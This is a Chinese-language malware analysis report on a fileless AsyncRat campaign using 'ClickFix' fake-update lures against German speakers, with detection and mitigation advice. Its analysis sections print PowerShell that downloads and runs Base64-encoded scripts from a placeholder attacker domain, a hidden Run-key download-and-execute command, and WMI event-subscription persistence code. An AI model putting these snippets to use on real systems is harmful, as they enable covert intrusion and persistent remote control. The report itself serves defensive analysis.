
摘要
本報告詳細介紹了一個複雜的惡意軟體攻擊,該攻擊利用無檔案執行技術和一種新穎的「ClickFix」社交工程誘導,專門針對德語使用者散播 AsyncRat 遠端存取木馬(RAT)。該攻擊利用 PowerShell、Windows Management Instrumentation (WMI) 和 Living-off-the-Land Binaries (LOLBins) 實現隱秘、持久的感染,同時將磁碟足跡降至最低,規避傳統的基於簽名的檢測。技術分析著重於感染鏈(Infection chain)、無檔案持久性機制、AsyncRat 功能和規避策略。

1. 引言
CloudSEK 最近發現的一個攻擊展示了 AsyncRat 散播的進化,強調通過無檔案執行和高度針對性的社交工程實現規避 1。AsyncRat 是一個基於 .NET 的開源 RAT,為攻擊者提供全面的監控和系統控制能力。此攻擊利用名為「ClickFix」的技術,偽裝成軟體更新或修復,主要通過釣魚郵件或被入侵的網站針對德語使用者。其核心技術創新在於其部署鏈(Deployment chain),最大限度地減少磁碟寫入並最大化濫用合法的 Windows 系統工具。
2. 攻擊概述與感染途徑(ClickFix)
目標: 攻擊專門製作德語誘導訊息,提高對德語使用者的有效性。常見誘導包括偽裝的軟體更新通知(例如 Chrome 或 Edge 瀏覽器)或關鍵系統修復 1。
初始 Payload:
受害者被誘騙下載並執行偽裝為「修復」或「更新」的初始可執行檔(例如
ChromeUpdate.exe
、
SetupFix.exe
)。此檔案作為下載器(Downloader)和協調器(Orchestrator)。
社交工程: 「ClickFix」名稱反映了社交工程的角度:說服使用者只需簡單點擊即可解決緊急問題或應用必要更新,從而降低他們對執行不受信任程式碼的戒心。
3. 無檔案執行鏈的技術剖析
攻擊鏈經過精心設計,避免將最終 RAT payload 寫入磁碟,主要使用 PowerShell 和 WMI 在記憶體中執行。
-
下載器執行:
使用者執行初始可執行檔(例如
ChromeUpdate.exe
或類似檔案)。 -
PowerShell 混淆與下載:
下載器對 PowerShell 命令進行高度混淆並執行。此命令從遠端 Command and Control (C2) 伺服器獲取下一階段 payload。混淆技術通常包括:
- 字串分割與拼接
- 命令和 URL 的 Base64 編碼
- 使用別名(Aliases)和反轉字串(Reversed strings)
- 插入無意義字元或註解
此程式碼從攻擊者伺服器獲取並執行 Base64 編碼的 PowerShell 腳本(- $url = 'hxxp://malicious[.]domain/path/script.ps1';
- $webClient = New-Object System.Net.WebClient;
- $script = [System.Text.Encoding]::UTF8.GetString(
- [System.Convert]::FromBase64String($webClient.DownloadString($url)
- );
- Invoke-Expression $script
script.ps1
) 1。 -
階段 2:PowerShell Payload (script.ps1):
下載的腳本為無檔案持久性執行關鍵設置:
- AMSI 繞過: 主動嘗試禁用 Antimalware Scan Interface (AMSI) 以規避腳本掃描。這通常涉及在記憶體中修補 AMSI.dll 或直接在 PowerShell 中利用已知的繞過技術。
-
WMI 事件訂閱設置:
在此建立核心無檔案持久性機制:
- $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run";
- $regName = "LegitTask";
- $regValue = "powershell.exe -w hidden -c `"iex((New-Object Net.WebClient).DownloadString('hxxp://malicious[.]domain/path/main.ps1'))`"";
- New-ItemProperty -Path $regPath -Name $regName -Value $regValue -Force;
- $filterArgs = @{...};
- $consumerArgs = @{
- Name = "LegitConsumer";
- [Scripting Engine Manipulation Point] # Index Ref: Script executes encoded command
- CommandLineTemplate = "powershell.exe -w hidden -enc [Very Long Base64 Encoded Command]";
- };
- $filter = Set-WmiInstance -Class __EventFilter ... -Arguments $filterArgs;
- $consumer = Set-WmiInstance -Class CommandLineEventConsumer ... -Arguments $consumerArgs;
- Set-WmiInstance -Class __FilterToConsumerBinding ... -Filter $filter -Consumer $consumer;
登錄檔執行鍵: 建立傳統的登錄檔執行鍵(
HKCU\...\Run\LegitTask
),指向一個在使用者登入時下載並執行main.ps1
的 PowerShell 命令,作為後備機制。WMI 永久事件訂閱: 建立 WMI 事件過濾器(
__EventFilter
)、消費者(CommandLineEventConsumer
)和綁定(__FilterToConsumerBinding
)。消費者包含關鍵的無檔案 payload:一個高度 Base64 編碼的 PowerShell 命令(-enc
參數),用於直接在記憶體中下載並執行 AsyncRat DLL。事件過濾器通常根據系統事件(如特定時間間隔或使用者登入)觸發消費者,確保簡單重啟後仍具持久性 1。 關鍵技術點在於惡意命令(AsyncRat 載入器)儲存在 WMI 儲存庫(資料庫)中,而不是作為磁碟上的檔案。
4. AsyncRat 記憶體執行與功能
最終階段的 PowerShell 命令(
main.ps1
或儲存在 WMI 中的命令)執行以下操作:
- 下載 AsyncRat 載入器 DLL: 直接從 C2 伺服器將 .NET DLL(AsyncRat 載入器/階段器)下載到記憶體中。
-
反射載入:
使用 PowerShell 的
System.Reflection.Assembly.Load()
方法將惡意 DLL 直接從記憶體載入當前的powershell.exe
程序空間,無需將 DLL 寫入磁碟 1。 -
入口點呼叫:
使用反射(Reflection)定位並呼叫載入的 DLL 中的特定方法(例如
Main
、Run
)。 - AsyncRat Payload 執行: 載入的 DLL 通常執行進一步解密或從C2 伺服器獲取最終 AsyncRat 核心 payload(另一個 .NET 組件),並在記憶體中反射載入。核心 AsyncRat 模組隨後與其C2 伺服器建立通訊。
AsyncRat 技術功能:
- 遠端控制: 完整的桌面視圖、遠端滑鼠/鍵盤控制、程序管理(啟動/終止)、檔案系統探索。
- 監控: 鍵盤記錄、剪貼簿監控、攝影機/麥克風擷取、螢幕截圖擷取。
- 資料外洩: 從受害者機器上傳檔案到攻擊者的C2 伺服器。
- 持久性: 使用登錄檔執行鍵、排程任務或啟動資料夾捷徑等機制(儘管此處主要方法是無檔案 WMI)。
- 資訊收集: 系統偵察(作業系統、硬體、網路資訊、已安裝軟體、攻擊程序)。
- 代理功能: 可將受感染主機用作進一步攻擊的代理。
5. 規避技術
此攻擊採用多層規避策略:
-
無檔案執行:
主要 payload 永不觸及磁碟;在
powershell.exe
或wmic.exe
記憶體空間中執行。 -
LOLBin 濫用:
大量依賴合法、可信任的系統工具(
powershell.exe
、wmic.exe
),使基於程序的檢測更困難。 - 混淆: 對 PowerShell 腳本和命令進行廣泛混淆(Base64、字串操作、別名)。
- AMSI 繞過: 主動禁用或破壞腳本掃描功能。
- Living-off-the-Land (LotL): 利用內建的 Windows 功能(WMI、登錄檔、PowerShell、.NET 反射)進行惡意用途,與正常系統活動混雜。
- 程序注入: AsyncRat 本身可能將其程式碼注入其他執行中的程序以實現隱藏。
- 加密的 C2 通訊: RAT 與C2 伺服器之間的流量是加密的。
6. 攻擊架構分析
根據技術描述 1,攻擊流程可視化如下:
- 多階段: 使用多個獨立階段以增強韌性。
- 無檔案核心: 關鍵的 AsyncRat payload 執行完全在記憶體中進行。
- 雙重持久性: 結合傳統(登錄檔執行鍵)與進階無檔案(WMI 訂閱)持久性。
- 封裝 Payload: 最終惡意命令儲存在 WMI 資料庫中。
- 高度混淆: 在 PowerShell 階段全程應用以阻礙靜態分析。
- LOLBin 基礎: 完全建立在濫用 PowerShell 和 WMI 的基礎上。
7. 檢測與緩解策略
- 行為監控: 檢測異常的 PowerShell/WMI 活動(例如,長且高度混淆的 PowerShell 命令行、非管理員使用者或異常程序創建 WMI 事件訂閱、AMSI 繞過嘗試、反射 .NET 載入)。
- 端點檢測與回應 (EDR): 對程序創建、記憶體注入、網路連線和腳本執行進行即時監控至關重要。
- PowerShell 日誌記錄: 啟用模組日誌、腳本區塊日誌和轉錄功能,以捕捉詳細的 PowerShell 活動進行分析。
- WMI 稽核: 監控 WMI 永久事件訂閱的創建和修改(__EventFilter、__EventConsumer、__FilterToConsumerBinding 類別)。
- 網路監控: 檢測與已知惡意 C2 IP/網域的連線、來自使用者工作站的異常加密流量模式。
- 使用者教育: 培訓使用者,特別是目標地區/語言的使用者,識別釣魚誘導並避免執行未經請求的「修復」或更新。
- 應用程式白名單: 限制腳本(特別是 PowerShell 和 WScript)及未經授權的二進位檔案執行。
- 修補管理: 保持作業系統和軟體更新,以緩解初始存取中可能使用的漏洞。
- 威脅情報: 利用情報饋送封鎖與此攻擊相關的已知 IoC(URL、IP、檔案 hash)。
8. 結論
使用「ClickFix」技術的無檔案 AsyncRat 攻擊對德語使用者構成重大威脅。其通過 PowerShell 反射和 WMI 事件訂閱的複雜無檔案執行技術提供了高度的隱秘性和持久性,有效規避依賴檔案掃描的傳統防毒解決方案。雙重持久性機制(登錄檔 + WMI)確保了韌性。對 LOLBins(PowerShell、WMI)和混淆的高度依賴進一步複雜化了檢測。防禦此類攻擊需要多層次的安全方法,專注於深度行為分析、全面日誌記錄(PowerShell、WMI)、EDR 功能、穩健的使用者教育和主動的威脅搜尋。深入了解此攻擊鏈的技術細節對於開發針對此類及類似進化中的無檔案威脅的有效對策至關重要。
參考資料
- CloudSEK. "Fileless AsyncRat Distributed via ClickFix Technique Targeting German-Speaking Users."
- MITRE ATT&CK Framework
-
Microsoft Documentation:
• "About Windows Management Instrumentation (WMI)"
• "Windows Management Instrumentation (WMI) Security"
• "PowerShell Script Block Logging"
• "Antimalware Scan Interface (AMSI)" - SANS Institute. "Hunting for Malicious WMI Persistence"